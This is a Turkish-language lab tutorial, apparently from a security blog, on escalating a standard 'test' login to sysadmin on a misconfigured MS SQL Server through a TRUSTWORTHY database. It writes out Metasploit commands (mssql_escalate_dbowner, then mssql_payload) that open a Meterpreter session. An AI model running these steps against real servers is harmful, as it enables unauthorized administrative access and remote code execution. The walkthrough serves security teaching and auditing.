Mevcut ortamda MS SQL veritabanının IP adresi 172.22.71.247; bu sunucudaki MUSTERILER ve HESAPLAR veritabanları için TRUSTWORTHY özelliği etkin; “test” kullanıcısı ise sunucu üzerinde standart kullanıcılar olsun. Ayrıca MUSTERILER veritabanında “sa” ve “test” hesapları db_owner rolünde olsun.
Mevcut durumda, MSSQL sunucuda bir veritabanı TRUSTWORTHY olarak ayarlanmış iken, bu veritabanının sahibi (“sa“) yüksek yetkili (veritabanı sunucusu üzerinde yetkili) ve MS SQL Server üzerindeki standart yetkilere sahip bir kullanıcı hesabı (web uygulamasına ait bir veritabanı kullanıcısı veya test amaçlı oluşturulmuş olan “test” hesabı gibi) da bu veritabanında tam yetkili (“db_owner” rolüne sahip) olduğundan; standart yetkilere sahip olan hesap (“test”), veritabanının sahibinin yetkisi (“sa”) ile komut çalıştırılabilir. Örneğin, MSSQL sunucuda standart haklara sahip “test” kullanıcı, kendisine MSSQL sunucusu üzerinde “sysadmin” rolü verebilir. Böylece MSSQL sunucusu üzerinde hak yükseltme işlemi gerçekleştirmiş olur.
“test” hesabının parola bilgisi “test” olarak elde edilmiş olsun. Bu bigiler ile mevcut ortamda hak yükseltilmesi için MSF mssql_escalate_dbowner auxiliary modülü kullanılabilir. MSF mssql_escalate_dbowner modülünün seçenekleri aşağıdaki gibidir:
search mssql_escalate_dbowner
use auxiliary/admin/mssql/mssql_escalate_dbowner
show options
Modül seçenekleri aşağıdaki gibi ayarlanabilir ve modül çalıştırılabilir:
set RHOST 172.22.71.247
set USERNAME test
set PASSWORD test
show options
run
Modül çalıştırıldıktan sonra, kontrol için MSF mssql_payload modülü çalıştırıldığında modülün başarılı bir şekilde çalıştığı görülmektedir:
use exploit/windows/mssql/mssql_payload
show options
run
Böylece MSSQLSERVER servisinin yetkileri ile Meterpreter bağlantısının açıldığı görülmektedir:
getuid
ifconfig
Kaynaklar:
https://www.siberportal.org/blue-team/securing-ms-sql-database/enabling-and-security-risks-of-trustworthy-option-of-a-database-on-a-misconfigured-ms-sql-server/
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/